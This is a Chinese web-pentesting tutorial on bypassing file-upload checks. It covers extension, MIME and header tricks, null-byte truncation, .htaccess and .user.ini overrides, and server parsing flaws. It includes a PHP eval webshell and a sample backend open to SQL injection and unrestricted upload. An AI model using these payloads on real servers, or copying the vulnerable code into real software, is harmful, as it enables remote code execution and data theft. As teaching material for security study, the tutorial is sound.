当前位置: 首页 > news >正文

文件上传-- Web渗透

环境准备

form表单提交

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>注册</title>
    <style>
        .wrapper{
            width: 500px;
            margin: auto;
            font-size: 30px;
            margin-top: 100px;
        }
        .wrapper div{
            margin-top: 10px;
            height: 60px;
            
        }
        .wrapper div #username,#password{
            width: 200px;
            height: 40px;   
            font-size: 30px;
        }
        input{
            margin-left: 80px;
        }
        #button{
            width: 100%;
            margin-left: 50%;
            transform: translateX(-130px);
        }
        #button input{
            width: 100px;
            height: 30px;
        }
    </style>
    <script src="./jq.js"></script>
</head>
<body>
    <div class="wrapper">
        <!-- 上传附件要加上 enctype="multipart/form-data" -->
        <form action="reg.php" method="post" enctype="multipart/form-data">
            <div>
                <span>用户名</span><input type="text" name="username" id="username">
            </div>
            <div>
                <span>&nbsp;&nbsp;&nbsp;</span><input type="password" name="password" id="password">
            </div>
            <div>
                <span>&nbsp;&nbsp;&nbsp;</span><input type="file" name="head" id="head">
            </div>
            <div  id="button">
                <input type="submit"value="submit">
            </div>
        </form>
    </div>
</body>
</html>

ajax提交

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>注册</title>
    <style>
        .wrapper{
            width: 500px;
            margin: auto;
            font-size: 30px;
            margin-top: 100px;
        }
        .wrapper div{
            margin-top: 10px;
            height: 60px;
            
        }
        .wrapper div #username,#password{
            width: 200px;
            height: 40px;   
            font-size: 30px;
        }
        input{
            margin-left: 80px;
        }
        #button{
            width: 100%;
            margin-left: 50%;
            transform: translateX(-130px);
        }
        #button input{
            width: 100px;
            height: 30px;
        }
    </style>
    <script src="./jq.js"></script>
</head>
<body>
    <div class="wrapper">
            <div>
                <span>用户名</span><input type="text" name="username" id="username">
            </div>
            <div>
                <span>&nbsp;&nbsp;&nbsp;</span><input type="password" name="password" id="password">
            </div>
            <div>
                <span>&nbsp;&nbsp;&nbsp;</span><input type="file" name="head" id="head">
            </div>
            <div  id="button">
                <input type="submit" onclick="submit()" value="submit">
            </div>
    </div>
</body>
<script>
    function submit(){
        //带有附件上传 new一个
        let formdata = new FormData() 
        formdata.append('username',$("#username").val())
        formdata.append('password',$("#password").val())
        formdata.append('head',$("#head")[0].files[0])
        $.ajax({
            url:'reg.php',
            type:"POST",
            data:formdata,
            cache:false,
            contentType:false,
            processData:false,

            success:function(data){
                alert(data)
                if("注册成功"in data){
                    location.href="login.php"
                }
            }
        })
    }

</script>
</html>

后台环境

<?php

$username = $_POST['username'];
$password = $_POST['password'];
$tmpPath = $_FILES['head']['tmp_name'];// 获得文件临时路径
$filename=$_FILES['head']['name'];//获得文件名称

$conn=new mysqli('127.0.0.1','root','duyun','learn') or die("数据库连接失败");
// 判断用户是否存在
$sql = "select username from  users where username='$username'";
$result = $conn->query($sql);
$row = $result->num_rows;
if($row>0){
    die("用户已被注册!");
}

// 上传文件  uploads 要设置外部用户可写入的权限
$newFileName = date("Ymd-His").".".end(explode(".",$filename));
move_uploaded_file($tmpPath,"uploads/".$newFileName) or die("文件上传失败");

// 用户添加到数据库
$sql="insert into users (username,password,role,avatar)values('$username','$password','editor','$newFileName')";
$conn->query($sql) or die("注册失败");
$conn->commit();
$conn->close();
echo "注册成功";
?>

文件上传检验

前端校验

 //对上传的文件进行检测
    function checkFile(){
        let file = $("#head").val()
        if(file==null || file==""){
            alert("请选择要上传的文件")
            return false
        }
        // 定义允许上传的文件后准
        let allow_ext = "jpg|png|gif"
       let ext_name= file.substring($("#head").val().lastIndexOf('.')+1)
       if(allow_ext.indexOf(ext_name) == -1){
            alert(`请上传后缀为${allow_ext}的文件,您上传的文件类型为${ext_name}`)
            return false;
       }
       return true
    }

前端校验绕过

  • 在浏览器禁用JavaScript(通常不建议使用,因为还存在很多功能需要js)
  • Burp重放注册请求

后端校验

# 校验后缀名
$extName=end(explode('.',$filename));
if($extName == 'php'){# 等等
    die("错误")
}

# 校验文件类型
$fileType=$_FILE['file']['type'];
if($fileType != 'image/jpeg' && $fileType != 'image/png' && $fileType != 'image/gif')

后端校验绕过

  • 大小写转化 PHP PhP等等
  • burp修改content-type后绕过

绕过

后缀名:黑名单、白名单
文件类型:MIME信息
文件头:内容头信息

黑名单:明确不能上传的后缀
php,jsp,asp等

白名单:明确能够上传的后缀
jpg,png,gif等等

客户端绕过

验证的方式是使用前端js代码

可以禁用JavaScript来进行绕过 或者 抓包修改后缀名重放

服务器MIME绕过

MIME检测的是数据包content-type字段。常见的图片格式的MIME类型有以下几种类型

PNG图像:image/png
GIF图形: image/gif
JPG图形:image/jpeg

黑名单 / 白名单

别名解析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pcuDbfrK-1664096401500)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20220917210924891.png)]

大小写绕过

空格绕过

windows系统

使用burp抓包的时候在后缀名后面加一个空格,Windows环境下 后缀名存在空格会直接被删除

点绕过

文件最后一个符号是’.'时会被丢弃

  • " ." 空格点 – 绕过先去空格 再去点
  • “. .” 点空格点 – 绕过先去点 再去空格

::$DATA

NTFS文件系统

PHP+Windows中 如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持::$DATA之前的文件名。利用windows特性,可在后缀名中加::$DATA绕过

双写绕过

把黑名单中的名字换成空格,则双写后缀名绕过。

%00截断与0x00截断

前提:php的版本要小于5.3.4并且魔术引号必须关闭

%00:主要针对地址上的截断 (url),上传路径是可以控制

0x00截断:主要针对文件命名上的截断

0x00、%00就是相当于 0 只是在get提交 时,经过url编码后,00就成了%00,当url中出现0时就会认为读取已结束

shell.php%00.png

对于 0x00 我们在BP中修改时,需要使用Hex模块,添加00

在这里插入图片描述

.htaccess文件绕过

只有apache具有此文件

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置

通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

web具体应用没有禁止.htaccess文件的上传,同时web服务器提供商允许用户上传自定义的.htaccess文件

创建.htaccess文件

<IfModule mime_module>
AddHandler php5-script .gif  #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php#在当前目录下,所有文件都会被解析成php代码执行
</IfModule>



<FilesMatch "evil.gif">
SetHandler application/x-httpd-php   #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif          #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>


<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>

.user.ini.绕过

前提

  • 服务器脚本语言为PHP
  • 服务器使用CGI/FastCGI模式
  • 上传目录下要有可执行的php文件

.user.ini作用:所有的php文件都自动包含jpg文件

//绕过exif_imagetype()
GIF89a                  
//指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。它包含在所有php文件前先执行
//在页面顶部加载文件
auto_prepend_file=a.jpg  
//解析后进行包含,它包含在所有php文件执行后执行
//在页面底部加载文件
auto_append_file=a.jpg 

跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

服务器解析漏洞

apache

Apache按从右到左的顺序识别文件后缀,直至找到后缀能匹配配置文件中的设置。遇到不能识别的后缀名便跳过

shell.php.xxx --> 被解析成php文件

利用条件

  • 不可以重命名,上传的名称也是原先的名称

IIS

*.asa*.asp格式的文件夹时其目录下的文件都会当做asp文件解析。

当文件名为*.asp;1.jpg时,IIS会以asp文件来解析,也就是说;起到了截断作用。

Nginx

在Nginx的服务器环境下,假如成功上传一张名为test.jpg的文件到网站,如果我们访问/test.jpg/test.php这个虚构的目录时服务器会直接将test.jpg作为php文件进行解析

文件内容检测

文件头检测

制作图片马来绕过 或者 在文件头部添加文件幻数

GIF89a

shell检测

禁止了文件内容中出现<?

GIF89a // 文件幻术头的方式进行绕过
<script language="php">eval($_POST['cmd']);</script>  //上传的是phtml

相关文章:

  • Redis:13-Redis持久化之RDB
  • 洛谷:P6062 [USACO05JAN]Muddy Fields G
  • 七、手把手教你搭建SpringCloudAlibaba之Sentinel实现流量控制
  • vue3 创建vue3模板
  • js 导出 excel
  • Mybatis-Plus(核心功能篇 ==> 代码生成器(新版)
  • Intel汇编-LOOP循环检查ECX含零值
  • DBNet学习笔记
  • 1、搭建环境
  • 基于Java+Spring+vue+element社区疫情服务平台设计和实现
  • 【Leetcode】剑指Offer 34:二叉树中和为某一值的路径
  • CockroachDB架构-复制层
  • Netty 入门学习(1)
  • Android手部检测和手势识别(含训练代码+Android源码+手势识别数据集)
  • 【NLP】第4章 从头开始预训练 RoBERTa 模型
  • ES6语法详解(一)
  • java8 Stream Pipelines 浅析
  • js作用域和this的理解
  • Linux编程学习笔记 | Linux IO学习[1] - 文件IO
  • Lsb图片隐写
  • Material Design
  • mysql常用命令汇总
  • Synchronized 关键字使用、底层原理、JDK1.6 之后的底层优化以及 和ReenTrantLock 的对比...
  • TCP拥塞控制
  • ⭐ Unity 开发bug —— 打包后shader失效或者bug (我这里用Shader做两张图片的合并发现了问题)
  • Work@Alibaba 阿里巴巴的企业应用构建之路
  • 搞机器学习要哪些技能
  • 汉诺塔算法
  • 互联网大裁员:Java程序员失工作,焉知不能进ali?
  • 解决iview多表头动态更改列元素发生的错误
  • 判断客户端类型,Android,iOS,PC
  • 如何进阶一名有竞争力的程序员?
  • 数据结构java版之冒泡排序及优化
  • 算法-插入排序
  • 最简单的无缝轮播
  • 关于Kubernetes Dashboard漏洞CVE-2018-18264的修复公告
  • # Apache SeaTunnel 究竟是什么?
  • #gStore-weekly | gStore最新版本1.0之三角形计数函数的使用
  • #在 README.md 中生成项目目录结构
  • (2020)Java后端开发----(面试题和笔试题)
  • (ctrl.obj) : error LNK2038: 检测到“RuntimeLibrary”的不匹配项: 值“MDd_DynamicDebug”不匹配值“
  • (ZT)一个美国文科博士的YardLife
  • (附源码)springboot高校宿舍交电费系统 毕业设计031552
  • (附源码)springboot青少年公共卫生教育平台 毕业设计 643214
  • (区间dp) (经典例题) 石子合并
  • (学习日记)2024.02.29:UCOSIII第二节
  • (轉貼) VS2005 快捷键 (初級) (.NET) (Visual Studio)
  • (最优化理论与方法)第二章最优化所需基础知识-第三节:重要凸集举例
  • ***详解账号泄露:全球约1亿用户已泄露
  • .NET Standard、.NET Framework 、.NET Core三者的关系与区别?
  • .NET平台开源项目速览(15)文档数据库RavenDB-介绍与初体验
  • .net下简单快捷的数值高低位切换
  • .NET中 MVC 工厂模式浅析
  • @LoadBalanced 和 @RefreshScope 同时使用,负载均衡失效分析
  • [.net] 如何在mail的加入正文显示图片